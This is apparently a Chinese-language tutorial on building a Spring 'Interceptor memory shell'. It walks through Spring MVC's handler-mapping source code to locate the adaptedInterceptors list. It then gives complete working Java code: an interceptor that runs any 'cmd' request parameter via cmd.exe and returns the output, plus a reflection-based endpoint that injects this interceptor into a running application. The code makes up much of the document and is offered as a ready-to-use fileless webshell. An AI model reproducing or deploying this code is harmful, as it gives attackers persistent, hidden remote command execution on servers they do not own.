Interceptor内存马
Interceptor拦截器是Spring框架下的组件,其作用类似于Tomcat中的Filter,Interceptor可以请求到达Controller前进行拦截进行相应操作
Interceptor注册流程
在Interceptor调用的上层方法doDispatch()中,mappedHandler变量中的interceptorList字段就已经存储了我们定义的Interceptor了,因此接下来需要找到interceptorList字段何时被赋值

由于interceptorList字段在mappedHandler中,追溯发现mappedHandler在doDispatch()方法中被getHandler()方法作为返回值输出
mappedHandler = getHandler(processedRequest);
|
步入该方法,返回值handler在对mapping调用getHandler()方法时被定义和赋值
@Nullable protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception { if (this.handlerMappings != null) { for (HandlerMapping mapping : this.handlerMappings) { HandlerExecutionChain handler = mapping.getHandler(request); if (handler != null) { return handler; } } } return null; }
|
注意到某个遍历出来的mapping中含有拦截器

该mapping的类型是确定的RequestMappingHandlerMapping,或许我们可以直接篡改该类的字段,但是现在还不知道拦截器是从interceptors字段还是adaptedInterceptors字段获取的,步入getHandler()
public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception { Object handler = getHandlerInternal(request); if (handler == null) { handler = getDefaultHandler(); } if (handler == null) { return null; } if (handler instanceof String) { String handlerName = (String) handler; handler = obtainApplicationContext().getBean(handlerName); }
if (!ServletRequestPathUtils.hasCachedPath(request)) { initLookupPath(request); }
HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request);
if (logger.isTraceEnabled()) { logger.trace("Mapped to " + handler); } else if (logger.isDebugEnabled() && !DispatcherType.ASYNC.equals(request.getDispatcherType())) { logger.debug("Mapped to " + executionChain.getHandler()); }
if (hasCorsConfigurationSource(handler) || CorsUtils.isPreFlightRequest(request)) { CorsConfiguration config = getCorsConfiguration(handler, request); if (getCorsConfigurationSource() != null) { CorsConfiguration globalConfig = getCorsConfigurationSource().getCorsConfiguration(request); config = (globalConfig != null ? globalConfig.combine(config) : config); } if (config != null) { config.validateAllowCredentials(); } executionChain = getCorsHandlerExecutionChain(request, executionChain, config); }
return executionChain; }
|
该方法的返回值executionChain在getHandlerExecutionChain()方法被创建,同时也在该方法被赋给了拦截器interceptorList字段

步入getHandlerExecutionChain()方法
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) { HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ? (HandlerExecutionChain) handler : new HandlerExecutionChain(handler));
for (HandlerInterceptor interceptor : this.adaptedInterceptors) { if (interceptor instanceof MappedInterceptor) { MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor; if (mappedInterceptor.matches(request)) { chain.addInterceptor(mappedInterceptor.getInterceptor()); } } else { chain.addInterceptor(interceptor); } } return chain; }
|
不难发现,chain从addInterceptor()获取拦截器,传入的拦截器从adaptedInterceptors字段遍历出来,该字段也含有我们定义的拦截器

adaptedInterceptors本质是一个List,是AbstractHandlerMapping类中的字段,该父类的一个子类RequestMappingInfoHandlerMapping的子类RequestMappingHandlerMapping,该类的一个实例对象正好就是webApplicationContex的一个字段,可以借助之前Controller内存马的方法获取RequestMappingHandlerMapping,进而获取adaptedInterceptors
Interceptor内存马构建
编写一个执行命令的恶意拦截器
public class IndexInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest httprequest, @NonNull HttpServletResponse response, @NonNull Object handler) throws Exception { ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); HttpServletRequest request = attributes.getRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); StringBuilder result = new StringBuilder(); String output; try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK")); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); } output = result.toString(); response.setCharacterEncoding("GBK"); response.getWriter().print(output); } catch (IOException e) { throw new RuntimeException(e); } return false; } return true; } }
|
编写触发逻辑,获取web上下文环境,adaptedInterceptors并通过反射获取adaptedInterceptors,将恶意拦截器注入该字段
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0); RequestMappingHandlerMapping handlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class); Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); adaptedInterceptors.setAccessible(true); List<HandlerInterceptor> list = (List<HandlerInterceptor>) adaptedInterceptors.get(handlerMapping); list.add(new IndexInterceptor());
|
完整逻辑
@RequestMapping("injectInterceptor") public String injectInterceptor() throws Exception { WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0); RequestMappingHandlerMapping handlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class); Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); adaptedInterceptors.setAccessible(true); List<HandlerInterceptor> list = (List<HandlerInterceptor>) adaptedInterceptors.get(handlerMapping); list.add(new IndexInterceptor()); return "injected"; }
public class IndexInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest httprequest, @NonNull HttpServletResponse response, @NonNull Object handler) throws Exception { ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); HttpServletRequest request = attributes.getRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); StringBuilder result = new StringBuilder(); String output; try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK")); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); } output = result.toString(); response.setCharacterEncoding("GBK"); response.getWriter().print(output); } catch (IOException e) { throw new RuntimeException(e); } return false; } return true; } }
|